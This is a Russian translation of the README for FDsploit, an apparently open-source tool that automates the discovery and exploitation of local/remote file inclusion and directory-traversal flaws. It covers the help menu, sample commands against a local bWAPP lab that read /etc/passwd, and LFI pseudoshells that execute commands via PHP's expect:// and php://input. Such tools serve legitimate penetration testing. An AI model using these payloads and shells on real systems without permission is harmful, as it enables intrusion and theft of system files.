
Инструмент для фаззинга, перечисления и эксплуатации уязвимостей включения файлов и обхода каталогов.
Меню FDsploit:
$ python fdsploit.py -h
_____ ____ _ _ _
| __| \ ___ ___| |___|_| |_
| __| | |_ -| . | | . | | _|
|__| |____/|___| _|_|___|_|_|
|_|...ver. 1.2
Author: Christoforos Petrou (game0ver) !
usage: fdsploit.py [-u | -f ] [-h] [-p] [-d] [-e {0,1,2}] [-t] [-b] [-x] [-c]
[-v] [--params [...]] [-k] [-a] [--cmd]
[--lfishell {None,simple,expect,input}]
FDsploit.py: Automatic (L|R)FI & directory traversal enumeration & exploitation.
Required (one of the following):
-u , --url Specify a url or
-f , --file Specify a file containing urls
Optional:
-h, --help Show this help message and exit
-p , --payload Specify a payload-file to look for [default None]
-d , --depth Specify max depth for payload [default 5]
-e {0,1,2}, --urlencode {0,1,2}
Url-encode the payload [default: False]
-t , --tchar Use a termination character ('%00' or '?') [default None]
-b, --b64 Use base64 encoding [default False]
-x , --proxy Specify a proxy to use [form: host:port]
-c , --cookie Specify a session-cookie to use [default None]
-v , --verb Specify request type ('GET' or 'POST') [default GET]
--params [ ...] Specify POST parameters to use (applied only with POST requests)
Form: param1:value1,param2:value2,...
-k , --keyword Search for a certain keyword(s) on the response [default: None]
-a, --useragent Use a random user-agent [default user-agent: FDsploit_1.2_agent]
--cmd Test for command execution through PHP functions [default command: None]
--lfishell {None,simple,expect,input}
LFI pseudoshell [default None]
[!] For More Details please read the README.md file!
FDsploit может использоваться для автоматического обнаружения и эксплуатации уязвимостей Local/Remote File Inclusion и Directory Traversal. В случае обнаружения LFI-уязвимости можно использовать опцию --lfishell для её эксплуатации. На данный момент поддерживается 3 различных типа LFI-шеллов:
simple: Этот тип шелла позволяет пользователю легко читать файлы без необходимости каждый раз вводить URL. Кроме того, он выводит только содержимое файла, а не весь HTML-исходный код страницы, что делает его очень полезным.expect: Этот тип шелла является полуинтерактивным и позволяет пользователю выполнять команды через обёртку expect:// в PHP.input: Этот тип шелла также является полуинтерактивным и позволяет пользователю выполнять команды через поток php://input в PHP.На данный момент есть только две встроенные команды LFI-шелла:
clear иexit.*).Из приведённого ниже вывода видно, что параметр directory, вероятно, уязвим к Directory Traversal, так как каждый запрос с полезной нагрузкой ../ даёт разный хеш SHA-256. Также длина содержимого отличается для каждого запроса:
./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/directory_traversal_2.php?directory=documents' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 8
Опять же, параметр language, похоже, уязвим к LFI, так как при использовании ../etc/passwd и т.д. в качестве полезной нагрузки каждый запрос, выделенный зелёным цветом, даёт другой хеш, другую длину содержимого по сравнению с исходным, а указанное ключевое слово найдено в ответе:
./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/rlfi.php?language=*&action=go' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 7 -k root -p /etc/passwd
Эксплуатация вышеуказанной LFI с использованием шелла simple:
POST также необходимо указать опцию --params.--payload необходимо оставить со значением по умолчанию (None).--file для тестирования нескольких URL поддерживается только GET-запрос.--file и --cookie, так как каждый раз можно указать только одну куку, URL должны относиться к одному домену или быть доступными без куки (это будет исправлено в будущем обновлении).input несовместим с методом POST.Примечание: Для установки зависимостей:
pip install -r requirements.txt --upgrade --user
💡 FDsploit также поставляется предустановленным в дистрибутиве BlackArch Linux.
--file также работал с POST-параметрами и куками, возможно, используя файл в формате json и т.д. в качестве ввода.--lfishell, например history и т.д.Отзывы и вклад приветствуются. Если вы нашли ошибку или хотите предложить новую функцию, смело открывайте issue, и как только я его рассмотрю, я постараюсь её исправить!
Этот инструмент предназначен только для тестирования и академических целей и может использоваться только там, где было получено строгое согласие. Не используйте его в незаконных целях! Ответственность за соблюдение всех применимых местных, государственных и федеральных законов лежит на конечном пользователе. Разработчики не несут ответственности за любое неправильное использование или ущерб, причинённый этим инструментом и программным обеспечением в целом.
Этот проект лицензирован в соответствии с GPLv3 — подробности смотрите в файле LICENSE